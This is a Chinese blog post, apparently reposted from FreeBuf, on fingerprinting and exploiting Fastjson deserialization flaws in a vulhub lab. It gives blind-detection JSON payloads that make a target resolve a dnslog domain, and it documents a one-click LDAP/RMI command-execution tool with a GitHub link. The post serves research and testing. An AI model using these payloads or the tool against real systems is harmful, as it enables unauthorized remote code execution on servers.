Fastjson批量检查及一键利用工具 – 作者:Mr丶丶柴机

0x01 序章

上次讲解过手动利用fastjson,但讲的过于太简单了。根据大家的反应,收集如下几个问题。

1、如何盲打fastjson

2、判断fastjson的指纹

3、各版本payload以及使用ldap模式监听。

下面我就一一解答,我只是把我在网上查到的资料消化 后分享给大家,如果有大佬觉得哪里不对,还望不吝赐教。这次还带来了一键利用及检测工具,链接在文末。

注:本文仅用于技术讨论与研究,严禁用于任何违法用途,违者后果自负

0x02 环境搭建

这个不用多说了吧,使用vulhub搭建。

启动fastjson:1.2.24或者fastjson:1.2.45都可以。

判断fastjson:

无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样。

1595340535.png!small

从上图可以看出,我们使用了一个花括号,fastjson处理json时会返回报错信息。

有的小伙伴就问了,如果是配置了不返回报错信息怎么办?那这种情况就只有利用dnslog盲打了。

1595340536.png!small1595340537.png!small

这里有个小技巧就是,如果你批量检查或者自己的dnslog,里面有很多记录。你可以这样使用’baidu’.d1flzs.dnslog.cn,在dnslog前面加个名称

盲打payload:

1.2.67版本前

{“zeo”:{“@type”:”java.net.Inet4Address”,”val”:”fatu5k.dnslog.cn”}}

1.2.67版本后payload

{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}
{“@type”:”java.net.Inet6Address”,”val”:”dnslog”}

0x03 工具使用

下面讲解工具使用,这是通过GitHub上大佬工具改造的。

支持rmi及ldap两种模式

参数介绍:

  -h, –help               //查看帮助

  -u, –url                  //漏洞url

  -c, –commamd     //执行命令

  -m, –mode           //选择执行模式(可选),1:ldap模式(默认);2:rmi模式

演示效果(dnslog):

1595340631.png!small

1595340538.png!small

演示效果(创建文件):

1595340539.png!small1595340540.png!small

0x04 批量检测

1595340540.png!small

工具链接:

https://github.com/mrknow001/fastjson_rec_exploit

 

来源:freebuf.com 2020-07-26 11:04:00 by: Mr丶丶柴机

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论